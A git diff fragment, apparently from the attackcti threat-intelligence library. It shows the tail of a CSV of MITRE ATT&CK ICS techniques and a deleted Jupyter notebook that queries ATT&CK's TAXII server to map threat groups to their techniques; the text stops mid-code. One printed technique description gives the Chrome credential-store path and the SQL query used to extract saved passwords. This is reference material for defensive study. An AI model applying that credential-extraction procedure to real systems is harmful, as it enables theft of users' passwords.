description='Bastille. (2017, April 17). Dallas Siren Attack. Retrieved November 6, 2020.', url='https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack'), ExternalReference(source_name='Ars Technica Dallas April 2017', description='Gallagher, S.. (2017, April 12). Pirate radio: Signal spoof set off Dallas emergency sirens, not network hack. Retrieved December 1, 2020.', url='https://arstechnica.com/information-technology/2017/04/dallas-siren-hack-used-radio-signals-to-spoof-alarm-says-city-manager/')]",attack-pattern--0fe075d5-beac-4d02-b93e-0f874997db72,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2021-04-12 19:03:26.506000+00:00,Wireless Sniffing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['ICSCoE Japan'],,,,,,,,,,,,,,,['Windows'],,,, +Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0863', 'external_id': 'T0863'}, {'source_name': 'BlackEnergy - Booz Allen Hamilton', 'description': 'Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', 'url': 'https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'}, {'source_name': 'Havex - F-Secure', 'description': 'Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}, {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation']",,,,,"['Engineering Workstation', 'Human-Machine Interface']",,,,,,,, diff --git a/docs/playground/export_groups_navigator_layers.ipynb b/docs/playground/export_groups_navigator_layers.ipynb deleted file mode 100644 index 93bc131..0000000 --- a/docs/playground/export_groups_navigator_layers.ipynb +++ /dev/null @@ -1,1439 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Exporting ATT&CK Group Navigator Layers" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Get Relationship STIX Objects - (Manual)\n", - "-----------------------\n", - "I believe it is important to understand the code behind the main functions available in the Python library [attackcti](https://attackcti.readthedocs.io/en/latest/index.html). I highly recommend to first read the docs I put together about [cti-taxii-client](https://attackcti.readthedocs.io/en/latest/taxii_client.html) and [cti-python-stix2](https://attackcti.readthedocs.io/en/latest/stix.html) libraries.\n", - "Those two summarize several of the concepts that I had to read to understand how to perform a simple query against ATT&CK's TAXII server" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Import STIX and TAXII Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "from stix2 import TAXIICollectionSource, Filter, CompositeDataSource\n", - "from taxii2client.v20 import Collection" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Set ATT&CK TAXII Collection ID Variables\n", - "The public ATT&CK TAXII instance has three main collections (Enterprise, Pre and Mobile). Every collection has an ID which attackcti uses to retrieve ATT&CK STIX objects from all those matrices." - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "ATTACK_STIX_COLLECTIONS = \"https://cti-taxii.mitre.org/stix/collections/\"\n", - "ENTERPRISE_ATTACK = \"95ecc380-afe9-11e4-9b6c-751b66dd541e\"\n", - "PRE_ATTACK = \"062767bd-02d2-4b72-84ba-56caef0f8658\"\n", - "MOBILE_ATTACK = \"2f669986-b40b-4423-b720-4396ca6a462b\"\n", - "ICS_ATTACK = \"02c3ef24-9cd4-48f3-a99f-b74ce24f1d34\"" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Initialize TAXII Collection Sources\n", - "According to [STIX2 docs](https://stix2.readthedocs.io/en/latest/index.html), the [TAXIICollectionSource API](https://stix2.readthedocs.io/en/latest/api/datastore/stix2.datastore.taxii.html#stix2.datastore.taxii.TAXIICollectionSource) provides an interface for searching/retrieving STIX objects from a local/remote TAXII Collection endpoint. In our case, we are pointing to our ATT&CK TAXII Collection instances (https://cti-taxii.mitre.org/stix/collections/)" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [], - "source": [ - "ENTERPRISE_COLLECTION = Collection(ATTACK_STIX_COLLECTIONS + ENTERPRISE_ATTACK + \"/\")\n", - "TC_ENTERPRISE_SOURCE = TAXIICollectionSource(ENTERPRISE_COLLECTION)\n", - "PRE_COLLECTION = Collection(ATTACK_STIX_COLLECTIONS + PRE_ATTACK + \"/\")\n", - "TC_PRE_SOURCE = TAXIICollectionSource(PRE_COLLECTION)\n", - "MOBILE_COLLECTION = Collection(ATTACK_STIX_COLLECTIONS + MOBILE_ATTACK + \"/\")\n", - "TC_MOBILE_SOURCE = TAXIICollectionSource(MOBILE_COLLECTION)\n", - "ICS_COLLECTION = Collection(ATTACK_STIX_COLLECTIONS + ICS_ATTACK + \"/\")\n", - "TC_ICS_SOURCE = TAXIICollectionSource(ICS_COLLECTION)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Initialize a Composite Data Source\n", - "According to [STIX2 docs](https://stix2.readthedocs.io/en/latest/index.html), a user can have a single [CompositeDataSource](https://stix2.readthedocs.io/en/latest/api/stix2.datastore.html#stix2.datastore.CompositeDataSource) as an interface to a set of DataSources. When an API call is made to the CompositeDataSource, it is delegated to each of the (real) DataSources that are attached to it. In our case, we have three TAXIICollection sources (Enterprise, PRE and Mobile) as defined in our previous step. Therefore, we can use the CompositeDataSource class and the add_data_sources method to attach every ATT&CK TAXIICollection source and be able to query all of them at the same time." - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [], - "source": [ - "COMPOSITE_DS = CompositeDataSource()\n", - "COMPOSITE_DS.add_data_sources([TC_ENTERPRISE_SOURCE, TC_PRE_SOURCE, TC_MOBILE_SOURCE, TC_ICS_SOURCE])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Retrieve all relationships\n", - "Now that we can query all the ATT&CK TAXIICollection sources at once, we can use the query method and a set of filters to retrieve STIX objects of type relationship" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Relationship(type='relationship', id='relationship--fbe555c3-5c7b-44e7-a48f-293bdae9de0c', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-04-27T15:46:45.720Z', modified='2021-04-27T15:46:45.720Z', relationship_type='uses', description=\"[AppleJeus](https://attack.mitre.org/software/S0584)'s spearphishing links required user interaction to navigate to the malicious website.(Citation: CISA AppleJeus Feb 2021)\", source_ref='malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858', target_ref='attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9', external_references=[ExternalReference(source_name='CISA AppleJeus Feb 2021', description='Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.', url='https://us-cert.cisa.gov/ncas/alerts/aa21-048a')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "rels = COMPOSITE_DS.query(Filter(\"type\", \"=\", \"relationship\"))\n", - "rels[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Retrieve all relationships from an specific STIX object\n", - "What if you want to be very specific and get relationships from a specific STIX objects? You can use the [relationships](https://stix2.readthedocs.io/en/latest/api/stix2.datastore.html#stix2.datastore.CompositeDataSource.relationships) method from the [CompositeDataSource](https://stix2.readthedocs.io/en/latest/api/stix2.datastore.html#stix2.datastore.CompositeDataSource) class to retrieve relationships involving a given STIX object." - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Relationship(type='relationship', id='relationship--12e483aa-14a0-41ea-b6fd-7ced3590472b', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-04-14T14:05:51.798Z', modified='2021-04-14T14:05:51.798Z', relationship_type='uses', description='(Citation: Check Point Rocket Kitten)', source_ref='intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7', target_ref='tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5', external_references=[ExternalReference(source_name='Check Point Rocket Kitten', description='Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.', url='https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" - ] - }, - "execution_count": 6, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "from attackcti import attack_client\n", - "lift = attack_client()\n", - "\n", - "groups = lift.get_groups()\n", - "groups = lift.remove_revoked(groups)\n", - "\n", - "rels = COMPOSITE_DS.relationships(groups[0], 'uses', source_only=True)\n", - "rels[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Get Relationship STIX Objects - (Automatic)\n", - "-----------------------" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Retrieve all relationships" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [], - "source": [ - "from attackcti import attack_client\n", - "lift = attack_client()" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "CPU times: user 3.04 s, sys: 74.9 ms, total: 3.11 s\n", - "Wall time: 5.49 s\n" - ] - } - ], - "source": [ - "%time all_relationships = lift.get_relationships()" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Relationship(type='relationship', id='relationship--fbe555c3-5c7b-44e7-a48f-293bdae9de0c', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-04-27T15:46:45.720Z', modified='2021-04-27T15:46:45.720Z', relationship_type='uses', description=\"[AppleJeus](https://attack.mitre.org/software/S0584)'s spearphishing links required user interaction to navigate to the malicious website.(Citation: CISA AppleJeus Feb 2021)\", source_ref='malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858', target_ref='attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9', external_references=[ExternalReference(source_name='CISA AppleJeus Feb 2021', description='Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.', url='https://us-cert.cisa.gov/ncas/alerts/aa21-048a')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" - ] - }, - "execution_count": 9, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "all_relationships[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Retrieve all relationships from an specific STIX object" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [], - "source": [ - "groups = lift.get_groups()\n", - "groups = lift.remove_revoked(groups)" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "CPU times: user 357 ms, sys: 53.8 ms, total: 411 ms\n", - "Wall time: 3.91 s\n" - ] - } - ], - "source": [ - "%time group_relationships = lift.get_relationships_by_object(groups[0])" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Relationship(type='relationship', id='relationship--12e483aa-14a0-41ea-b6fd-7ced3590472b', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-04-14T14:05:51.798Z', modified='2021-04-14T14:05:51.798Z', relationship_type='uses', description='(Citation: Check Point Rocket Kitten)', source_ref='intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7', target_ref='tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5', external_references=[ExternalReference(source_name='Check Point Rocket Kitten', description='Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.', url='https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" - ] - }, - "execution_count": 12, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "group_relationships[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Retrive Techniques used by one Group - (Manual)\n", - "-----------------------" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "In this case we want relationship objects that have target_ref values of type attack-pattern. Following the manual code I shared above, and the results from the `get_relationships_by_object()` function, you can simply query the ATT&CK Enterprise TAXIICollection source with the filter below" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "AttackPattern(type='attack-pattern', id='attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-03-11T14:49:36.954Z', modified='2020-03-11T14:55:56.177Z', name='Malicious File', description=\"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\\n\\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\\n\\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\", kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1204/002', external_id='T1204.002')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Process: Process Creation', 'File: File Creation'], x_mitre_detection=\"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).\", x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['Linux', 'macOS', 'Windows'], x_mitre_version='1.0')" - ] - }, - "execution_count": 13, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "filter_objects = [\n", - " Filter('type', '=', 'attack-pattern'),\n", - " Filter('id', '=', [r.target_ref for r in group_relationships])\n", - "]\n", - "techniques_used = TC_ENTERPRISE_SOURCE.query(filter_objects)\n", - "techniques_used[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Retrive Techniques used by one Group - (Automatic)\n", - "-----------------------" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "AttackPattern(type='attack-pattern', id='attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-03-11T14:49:36.954Z', modified='2020-03-11T14:55:56.177Z', name='Malicious File', description=\"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\\n\\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\\n\\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\", kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1204/002', external_id='T1204.002')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Process: Process Creation', 'File: File Creation'], x_mitre_detection=\"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).\", x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['Linux', 'macOS', 'Windows'], x_mitre_version='1.0')" - ] - }, - "execution_count": 14, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "from attackcti import attack_client\n", - "lift = attack_client()\n", - "groups = lift.get_groups()\n", - "groups = lift.remove_revoked(groups)\n", - "group_techniques = lift.get_techniques_used_by_group(groups[0])\n", - "group_techniques[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Retrive all Techniques used by all Groups - (Manual)\n", - "-----------------------\n", - "You can apply the same get_techniques_used_by_group() function, but against all the groups STIX objects that the get_groups() function retrieves. You can do a simple for loop over more than 90 groups. However, it takes longer than what I would like it to take. Therefore, I decided to go a different route and started testing some code." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get all groups and techniques" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [], - "source": [ - "from attackcti import attack_client\n", - "lift = attack_client()\n", - "groups = lift.get_groups()\n", - "techniques = lift.get_techniques()\n", - "techniques = lift.remove_revoked(techniques)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Filter Group objects using techniques" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "{\n", - " \"type\": \"relationship\",\n", - " \"id\": \"relationship--435c288d-1e10-4610-bf41-531390e5a650\",\n", - " \"created_by_ref\": \"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5\",\n", - " \"created\": \"2021-04-25T23:26:10.590Z\",\n", - " \"modified\": \"2021-04-25T23:26:10.590Z\",\n", - " \"relationship_type\": \"uses\",\n", - " \"description\": \"[MuddyWater](https://attack.mitre.org/groups/G0069) has used JavaScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: ClearSky MuddyWater Nov 2018)(Citation: FireEye MuddyWater Mar 2018)\",\n", - " \"source_ref\": \"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2\",\n", - " \"target_ref\": \"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d\",\n", - " \"external_references\": [\n", - " {\n", - " \"source_name\": \"ClearSky MuddyWater Nov 2018\",\n", - " \"description\": \"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.\",\n", - " \"url\": \"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf\"\n", - " },\n", - " {\n", - " \"source_name\": \"FireEye MuddyWater Mar 2018\",\n", - " \"description\": \"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.\",\n", - " \"url\": \"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html\"\n", - " }\n", - " ],\n", - " \"object_marking_refs\": [\n", - " \"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168\"\n", - " ]\n", - "}\n" - ] - } - ], - "source": [ - "from stix2.utils import get_type_from_id\n", - "group_relationships = []\n", - "for rel in all_relationships:\n", - " if get_type_from_id(rel.source_ref) == 'intrusion-set'\\\n", - " and get_type_from_id(rel.target_ref) == 'attack-pattern':\n", - " group_relationships.append(rel)\n", - "len(group_relationships)\n", - "print(group_relationships[0])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Match Group -> Relationships Intrusion-set ID\n", - "Then, I just take all the group_relationships I got, and look for the specific `intrusion-set (Group)` id in the groups STIX objects. Once there is a match, I create new fields on the `intrusion-set (Group)` STIX object to add additional information about the `attack-pattern (Technique)` in the relationship object. The most important additional metadata is the target_ref field which points to the specific `attack-pattern (Technique)` id involving the `group`. The results are then added to a new list named `group_techniques_ref` ." - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "metadata": {}, - "outputs": [], - "source": [ - "import json\n", - "group_techniques_ref = []\n", - "for g in groups:\n", - " for rel in group_relationships:\n", - " if g['id'] == rel['source_ref']:\n", - " gs = json.loads(g.serialize())\n", - " gs\n", - " gs['technique_ref'] = rel['target_ref']\n", - " gs['relationship_description'] = rel['description']\n", - " gs['relationship_id'] = rel['id']\n", - " group_techniques_ref.append(gs)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Match Attack-patterns -> Intrusion-set object ID\n", - "I apply the same concept as before, and just loop through all the attack-pattern objects and look for the specific attack-pattern id in the initial relationships STIX objects. Once there is a match, I add additional information from the attack-pattern itself to the python dictionaries in the `group_techniques_ref` list. The results then get added to a new list named `groups_use_techniques`." - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", - " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", - " 'external_references': [{'external_id': 'G0130',\n", - " 'source_name': 'mitre-attack',\n", - " 'url': 'https://attack.mitre.org/groups/G0130'},\n", - " {'source_name': 'Operation Woolen-Goldfish',\n", - " 'description': 'Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)'},\n", - " {'source_name': 'AjaxTM',\n", - " 'description': '(Citation: FireEye Operation Saffron Rose 2013)'},\n", - " {'source_name': 'Rocket Kitten',\n", - " 'description': 'Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)'},\n", - " {'source_name': 'Flying Kitten',\n", - " 'description': '(Citation: CrowdStrike Flying Kitten )'},\n", - " {'source_name': 'Operation Saffron Rose',\n", - " 'description': '(Citation: FireEye Operation Saffron Rose 2013)'},\n", - " {'source_name': 'FireEye Operation Saffron Rose 2013',\n", - " 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf',\n", - " 'description': 'Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.'},\n", - " {'source_name': 'Check Point Rocket Kitten',\n", - " 'url': 'https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf',\n", - " 'description': 'Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.'},\n", - " {'source_name': 'TrendMicro Operation Woolen Goldfish March 2015',\n", - " 'url': 'https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf',\n", - " 'description': 'Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021.'},\n", - " {'source_name': 'IranThreats Kittens Dec 2017',\n", - " 'url': 'https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/',\n", - " 'description': 'Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.'},\n", - " {'source_name': 'CrowdStrike Flying Kitten ',\n", - " 'url': 'https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/',\n", - " 'description': 'Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020.'}],\n", - " 'description': '[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)',\n", - " 'name': 'Ajax Security Team',\n", - " 'type': 'intrusion-set',\n", - " 'id': 'intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7',\n", - " 'aliases': ['Ajax Security Team',\n", - " 'Operation Woolen-Goldfish',\n", - " 'AjaxTM',\n", - " 'Rocket Kitten',\n", - " 'Flying Kitten',\n", - " 'Operation Saffron Rose'],\n", - " 'modified': '2021-04-22T20:13:14.377Z',\n", - " 'created': '2021-04-14T13:17:43.941Z',\n", - " 'x_mitre_version': '1.0',\n", - " 'technique_ref': 'attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8',\n", - " 'relationship_description': '[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used FireMalv custom-developed malware, which collected passwords from the Firefox browser storage.(Citation: Check Point Rocket Kitten)',\n", - " 'relationship_id': 'relationship--ac196369-5b5b-4e71-805a-3f64f150b1e2',\n", - " 'technique': 'Credentials from Web Browsers',\n", - " 'technique_description': \"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\\n\\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\\n \\nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\\n\\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\\n\\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\",\n", - " 'tactic': ['credential-access'],\n", - " 'technique_id': 'T1555.003',\n", - " 'matrix': 'mitre-attack',\n", - " 'platform': ['Linux', 'macOS', 'Windows'],\n", - " 'data_sources': ['File: File Access',\n", - " 'Command: Command Execution',\n", - " 'Process: OS API Execution',\n", - " 'Process: Process Access'],\n", - " 'permissions_required': ['User']}" - ] - }, - "execution_count": 18, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "groups_use_techniques = []\n", - "for gt in group_techniques_ref:\n", - " for t in techniques:\n", - " if gt['technique_ref'] == t['id']:\n", - " tactic_list = list()\n", - " for phase in t['kill_chain_phases']:\n", - " 